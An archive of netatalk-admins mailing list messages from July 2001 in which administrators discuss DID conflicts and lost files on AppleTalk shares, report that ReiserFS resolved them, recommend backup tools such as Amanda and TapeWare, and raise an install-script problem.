	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 03:22:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA01212
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 03:22:26 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA01140
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 03:22:25 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id JAA04162;
	Tue, 24 Jul 2001 09:20:32 +0200
Message-ID: <3B5D21B5.9E30D557@euc.de>
Date: Tue, 24 Jul 2001 09:20:21 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Chris Herrmann <chris@faredge.com.au>
CC: netatalk-admins@umich.edu
Subject: Re: DID & trashed files (again)
References: <001601c113e7$18521450$c40e8ec6@faredge.com.au>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA14370

hmm

we've installed here a system an put a reiser file system on it. It
seems to me that the reiser system does the file handling somehow
different. before he had the same DID conflicts, after the reiser
everythings worked fine (suse 7.1 2.2.4 and netatalk 1.56)



Chris Herrmann wrote:
> 
> I'm having some serious grief with directories disappearing from appletalk
> shares. A 3G directory disappeared this morning (ouch) so I'm busy restoring
> it from tape.
> 
> is netatalk 1.5pre6, kernel 2.4.2 (RH7.1) over appletalk (not appletalk over
> tcp/ip). Lots of DID messages appearing in /var/log/messages
> 
> -----Original Message-----
> From: Nigel Pegram [mailto:editor.ac@churchesofchrist.org.au]
> Sent: Saturday, 21 July 2001 10:30
> To: netatalk-admins@umich.edu
> Subject: DID & trashed files (again)
> 
> Hi,
> 
> I am running Netatalk 1.4.99-0.20000927 on an intel 486 box (Debian Linux,
> kernel version 2.2.1) with two Macs connected (running system 8.1. and 8.6).
> Mostly this has been quite reliable, but today we found that a file copy
> caused the Finder to freeze and the files in the netatalk shared folder to
> be trashed (almost all were deleted).
> 
> When looking in the syslog I found two error messages which may be relevant.
> Repeated many times was: afpd: Warning DID conflict ... are these the same
> file. Also in the logs there was an afpd error: afpd-enumerate: stat ... No
> such file or directory.
> 
> Occasionally I have had problems with the G4 (system 8.6) with unexpected
> disconnection from the Appleshare volume. Since the 8.1 machine was
> continuing fine on the same volume, I assume it was a problem with the G4.
> Now I'm not so sure.
> 
> I noted the discussion regarding DID conflict at the end of last year in the
> mailing list archive and wondered if there are any solutions/workarounds. I
> cannot find an archive of the 2001 list messages (any URLs?).
> 
> TIA
> Nigel.

-- 
--schnippe-di-schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Tue Jul 24 10:42:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA29764
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 10:42:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA02177
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 10:42:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA02155
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 10:42:54 -0400 (EDT)
Received: from news.galvnews.com (64-216-74-147.ded.swbell.net [64.216.74.147])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA02098
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 10:42:53 -0400 (EDT)
Received: from [64.216.74.156] (64.216.74.156) by news.galvnews.com with ESMTP
 (Eudora Internet Mail Server 2.2.2); Tue, 24 Jul 2001 09:43:04 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 24 Jul 2001 09:42:53 -0500
Subject: Backup Software Question
From: Timm Benkula <timm.benkula@galvnews.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B782F39C.38E%timm.benkula@galvnews.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I'm fairly new to Linux/netatalk. Does anyone have any recommendations for
backup software. 
-- 
Timm Benkula, CNE, MCSE
System Manager
The Galveston County Daily News


From netatalk.administrators-errors@umich.edu  Tue Jul 24 10:53:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA00355
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 10:53:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA21895
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 10:53:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21875
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 10:53:26 -0400 (EDT)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA21838
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 10:53:24 -0400 (EDT)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.3/8.11.3) with ESMTP id f6OErMR26563
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 10:53:23 -0400 (EDT)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210106b7833c0b66f6@[216.155.36.73]>
In-Reply-To: <B782F39C.38E%timm.benkula@galvnews.com>
References: <B782F39C.38E%timm.benkula@galvnews.com>
Date: Tue, 24 Jul 2001 10:53:16 -0400
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: Backup Software Question
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-RRT-Status: UNKNOWN


	Timm,

	Humm, I have a SCSI OnStream drive.  It holds 15Bg and was 
priced fairly well.  I back up the server on a Mac through the 
network, but you can get onStream drive software for Linux.

	I haven't had any problems with it.

	Ryan

>I'm fairly new to Linux/netatalk. Does anyone have any recommendations for
>backup software.
>--
>Timm Benkula, CNE, MCSE
>System Manager
>The Galveston County Daily News

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The only truly secure system is one that is
powered off, cast in a block of concrete and
sealed in a lead-lined room with armed
guards -- and even then I have my doubts.
-Gene Spafford

From netatalk.administrators-errors@umich.edu  Tue Jul 24 11:05:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA00764
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 11:05:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA06120
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 11:05:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA06096
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 11:05:30 -0400 (EDT)
Received: from mailout04.sul.t-online.de (mailout04.sul.t-online.com [194.25.134.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA06063
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 11:05:29 -0400 (EDT)
Received: from fwd05.sul.t-online.de 
	by mailout04.sul.t-online.de with smtp 
	id 15P3ki-0000bb-06; Tue, 24 Jul 2001 17:05:40 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.89.104]) by fmrl05.sul.t-online.com
	with esmtp id 15P3ke-0AgQoiC; Tue, 24 Jul 2001 17:05:36 +0200
Mime-Version: 1.0
Message-Id: <a05100300b7833ebe47a3@[192.168.0.33]>
Date: Tue, 24 Jul 2001 17:06:45 +0200
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: DID & reiser
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA00764

Mac Coin wrote:

>we've installed here a system an put a reiser file system on it. It
>seems to me that the reiser system does the file handling somehow
>different. before he had the same DID conflicts, after the reiser
>everythings worked fine (suse 7.1 2.2.4 and netatalk 1.56)

Yes, on a new linux box, suse 7.1 and netatalk 1.56, with reiser file 
system there are no DID-conflicts in the logs.

-- 
Mit freundlichen Grüßen
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Mit am besten lernt man die Menschen kennen, indem man sie beobachtet,
wenn es irgendwo etwas gratis gibt. (A.L.)

From netatalk.administrators-errors@umich.edu  Tue Jul 24 11:07:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA00843
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 11:07:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA08156
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 11:07:13 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA08134
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 11:07:12 -0400 (EDT)
Received: from jason04.u.washington.edu (jason04.u.washington.edu [140.142.8.53])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA08087
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 11:07:11 -0400 (EDT)
Received: from homer33.u.washington.edu (cent@homer33.u.washington.edu [140.142.8.43])
	by jason04.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6OF7Jr21452;
	Tue, 24 Jul 2001 08:07:19 -0700
Received: from localhost (cent@localhost)
	by homer33.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6OF7IG44996;
	Tue, 24 Jul 2001 08:07:18 -0700
Date: Tue, 24 Jul 2001 08:07:18 -0700 (PDT)
From: R Cent <cent@u.washington.edu>
To: Timm Benkula <timm.benkula@galvnews.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: Backup Software Question
In-Reply-To: <B782F39C.38E%timm.benkula@galvnews.com>
Message-ID: <Pine.A41.4.33.0107240805310.35868-100000@homer33.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> I'm fairly new to Linux/netatalk. Does anyone have any
> recommendations for backup software.


Timm,

I have been using TapeWare from Yosemite Technologies, a
commercial product - it was bundled with my HP DAT24 tape drive.
TapeWare has a GUI interface, is full-featured, is very easy to
live with and there is tech support.

Hope you find what you are looking for.


_____________________________
Bob Cent
University of Washington
Box 357330
Seattle, WA  98195-7330

mailto: cent@u.washington.edu
voice:  206.543.1433
fax:    206.685.0305
_____________________________


From netatalk.administrators-errors@umich.edu  Tue Jul 24 11:21:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA01516
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 11:21:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA14695
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 11:21:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14674
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 11:21:15 -0400 (EDT)
Received: from gekko.i-clue.de (server.ms-agentur.de [62.153.134.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA14595
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 11:21:13 -0400 (EDT)
Received: from i-clue.de (automatix.i-clue.de [192.168.0.112])
	by gekko.i-clue.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id RAA30320;
	Tue, 24 Jul 2001 17:29:03 +0200
Message-ID: <3B5D92EB.59B226BF@i-clue.de>
Date: Tue, 24 Jul 2001 17:23:23 +0200
From: Christoph Sold <so@server.i-clue.de>
Reply-To: so@server.i-clue.de
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Timm Benkula <timm.benkula@galvnews.com>
CC: netatalk-admins@umich.edu
Subject: Re: Backup Software Question
References: <B782F39C.38E%timm.benkula@galvnews.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Timm Benkula wrote:
> 
> I'm fairly new to Linux/netatalk. Does anyone have any recommendations for
> backup software.

Amanda (http://www.amanda.org/) backs up all of our Unix and Windows
Servers. Best of all, it's Open Source. Most backup hardware is
supported, an active mailing list helps in case of trouble.

YMMV
-Christoph Sold

From netatalk.administrators-errors@umich.edu  Tue Jul 24 11:38:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA02148
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 11:38:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA17131
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 11:38:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA17111
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 11:38:17 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA17064
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 11:38:16 -0400 (EDT)
Received: by smtpout.mac.com; Tue, 24 Jul 2001 08:37:13 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GGZI2100.66I for
          <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 08:37:13 -0700 
Received: from grerel4.net.external.hp.com ([155.208.254.132])
          by asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun 
          6 2001 13:16:42) with ESMTP id GGZI2000.7BV for
          <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 08:37:12 -0700 
Date: Tue, 24 Jul 2001 17:40:09 +0200
From: Jason Quigley <jasonq@mac.com>
X-Mailer: The Bat! (v1.53bis) UNREG / CD5BF9353B3B7091
Reply-To: Jason Quigley <jasonq@mac.com>
X-Priority: 3 (Normal)
Message-ID: <17684277805.20010724174009@mac.com>
To: netatalk-admins@umich.edu
Subject: Re: DID & reiser
In-Reply-To: <a05100300b7833ebe47a3@[192\.168\.0\.33]>
References: <a05100300b7833ebe47a3@[192.168.0.33]>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

Hi everybody!

This is very interesting.

I once asked if anybody would like me to compile a matrix of OS, FS,
clients and netatalk versions along with number of problems with each
combination, in order to get a good idea of which mixture is best. I
got zero replies, so, can people just send similar experiences to the
one below to the list so we can all benefit?

Cheers,
Jason.

Tuesday, July 24, 2001, 5:06:45 PM, you wrote:

> Mac Coin wrote:

>>we've installed here a system an put a reiser file system on it. It
>>seems to me that the reiser system does the file handling somehow
>>different. before he had the same DID conflicts, after the reiser
>>everythings worked fine (suse 7.1 2.2.4 and netatalk 1.56)

> Yes, on a new linux box, suse 7.1 and netatalk 1.56, with reiser file
> system there are no DID-conflicts in the logs.

> --
> Mit freundlichen Grüßen
> Jürgen Weltzer

> - - - - - - - - - - - - - - - - - - -
> Werbeagentur Weltzer
> Max-Eyth-Straße 8
> 71065 Sindelfingen
> Tel. +49 (0) 70.31.81.32.31
> Fax +49 (0) 70.31.81.16.01
> http://www.w-ww.de/
> - - - - - - - - - - - - - - - - - - -

> Mit am besten lernt man die Menschen kennen, indem man sie beobachtet,
> wenn es irgendwo etwas gratis gibt. (A.L.)


From netatalk.administrators-errors@umich.edu  Tue Jul 24 12:16:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA03608
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 12:16:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA29780
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 12:16:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29756
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 12:16:27 -0400 (EDT)
Received: from stingray.shentel.net (stingray.shentel.net [204.111.2.39])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA29725
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 12:16:26 -0400 (EDT)
Received: from [10.40.9.253] (bm.hhs.hcps.shentel.net [204.111.40.2])
	by stingray.shentel.net (8.11.3/8.11.3) with ESMTP id f6OGGOw30068;
	Tue, 24 Jul 2001 12:16:24 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 24 Jul 2001 12:16:37 -0400
Subject: Re: DID & reiser
From: Rob Lineweaver <rbline@wm.edu>
To: Jason Quigley <jasonq@mac.com>, <netatalk-admins@umich.edu>
Message-ID: <B78317A4.84E%rbline@wm.edu>
In-Reply-To: <17684277805.20010724174009@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit


I've been very happy with reiserfs except for one minor annoyance:  I have
quotas set up and the reported free space for the mounted volume (on a mac
client) is ~ 4 times the actual space left before the user's quota fills up.
Somewhere the block size (or something) for reiserfs is being misreported...

I haven't had it under heavy enough usage to judge DID problems.

Rob Lineweaver
:)

on 7/24/01 11:40 AM, Jason Quigley at jasonq@mac.com wrote:

> Hi everybody!
> 
> This is very interesting.
> 
> I once asked if anybody would like me to compile a matrix of OS, FS,
> clients and netatalk versions along with number of problems with each
> combination, in order to get a good idea of which mixture is best. I
> got zero replies, so, can people just send similar experiences to the
> one below to the list so we can all benefit?
> 


From netatalk.administrators-errors@umich.edu  Tue Jul 24 12:31:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA04038
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 12:31:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA00441
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 12:31:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA00418
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 12:31:56 -0400 (EDT)
Received: from mail.ihonk.com (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA00379
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 12:31:54 -0400 (EDT)
Received: from [192.168.0.151] (a12 [192.168.0.151])
	by mail.ihonk.com (8.11.0/8.11.0) with ESMTP id f6OGVmR26635;
	Tue, 24 Jul 2001 09:31:48 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 24 Jul 2001 09:31:59 -0700
Subject: Re: DID & reiser
From: Steve Freitas <sflist@ihonk.com>
To: Jason Quigley <jasonq@mac.com>, <netatalk-admins@umich.edu>
Message-ID: <B782F10F.63BF%sflist@ihonk.com>
In-Reply-To: <17684277805.20010724174009@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> I once asked if anybody would like me to compile a matrix of OS, FS,
> clients and netatalk versions along with number of problems with each
> combination, in order to get a good idea of which mixture is best. I
> got zero replies, so, can people just send similar experiences to the
> one below to the list so we can all benefit?

I must've missed that email. That would be an awesome resource, Jason. That
would help answer a lot of people's questions about what netatalk is
suitable for, and would also cut down on a lot of mailing list questions.

Steve


From netatalk.administrators-errors@umich.edu  Tue Jul 24 17:50:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA15006
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 17:50:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA11895
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 17:50:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA11869
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 17:50:24 -0400 (EDT)
Received: from pete.uri.edu (PETE.URI.EDU [131.128.1.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA11816
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 17:50:23 -0400 (EDT)
Received: from [131.128.89.102] ([131.128.89.102])
	by pete.uri.edu (8.9.1/8.9.1) with SMTP id RAA06158
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 17:50:22 -0400 (EDT)
Message-Id: <v01550101b7839d605cd0@[131.128.89.102]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 24 Jul 2001 17:50:50 -0400
To: netatalk-admins@umich.edu
From: cma@uri.edu (Christopher M. Anderson)
Subject: installer not creating /etc/atalk directory

Hi folks,

I've always installed precompiled versions before, and never really been
sure what I did to make them work, but I did get 1.5pre6 to compile on a
clean redhat 6.2 (2.2.14 kernel) install.  But, for some reason, the
install script doesn't create the /etc/atalk directory or move the
appropriate config files there.

I'm using the tar.gz file from sourceforge.  I'd appreciate any suggestions.

Thanks,
Chris



From netatalk.administrators-errors@umich.edu  Tue Jul 24 18:56:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA17674
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 18:56:14 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA04845
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 18:56:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA04831
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 18:56:00 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA04770
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 18:55:57 -0400 (EDT)
Received: (qmail 31723 invoked from network); 25 Jul 2001 18:57:37 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 25 Jul 2001 18:57:37 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: "'Timm Benkula'" <timm.benkula@galvnews.com>, <netatalk-admins@umich.edu>
Subject: RE: Backup Software Question
Date: Wed, 25 Jul 2001 08:55:25 +1000
Message-ID: <000a01c11493$ba6713b0$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <B782F39C.38E%timm.benkula@galvnews.com>
Importance: Normal

amanda. see:

http://www.amanda.org

a couple of notes:

- make sure you have a tape drive that can back up your largest partition
within one tape - amanda can't span partitions across tapes
- it can be a little tricky to get working, but there are many excellent
amanda mail lists, which are generally both responsive and accurate. You'll
find links to them on the page above.

Cheers,

Chris

-----Original Message-----
From: Timm Benkula [mailto:timm.benkula@galvnews.com]
Sent: Wednesday, 25 July 2001 00:43
To: netatalk-admins@umich.edu
Subject: Backup Software Question


I'm fairly new to Linux/netatalk. Does anyone have any recommendations for
backup software.
--
Timm Benkula, CNE, MCSE
System Manager
The Galveston County Daily News



From netatalk.administrators-errors@umich.edu  Tue Jul 24 18:58:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA17715
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 24 Jul 2001 18:58:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA14785
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 24 Jul 2001 18:58:48 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA14753
	for netatalk.administrators-members@umich.edu; Tue, 24 Jul 2001 18:58:47 -0400 (EDT)
Received: from gemini.faredge.com.au (gemini.faredge.com.au [198.142.14.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id SAA14670
	for <netatalk-admins@umich.edu>; Tue, 24 Jul 2001 18:58:44 -0400 (EDT)
Received: (qmail 31754 invoked from network); 25 Jul 2001 19:00:16 -0000
Received: from unknown (HELO celery) (198.142.14.196)
  by gemini.faredge.com.au with SMTP; 25 Jul 2001 19:00:16 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: DID & reiser
Date: Wed, 25 Jul 2001 08:58:03 +1000
Message-ID: <000b01c11494$18f55090$c40e8ec6@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <a05100300b7833ebe47a3@[192.168.0.33]>
Importance: Normal

Interesting, I recompiled last night with --enable-lastdid and haven't seen
any errors this morning. On a totally seperate note, how have you found
reiserfs? I've considered playing with it, but didn't mainly because it was
still beta last time I looked.

Bis bald,

Chris

-----Original Message-----
From: Jürgen Weltzer [mailto:weltzer@werbeagentur-weltzer.de]
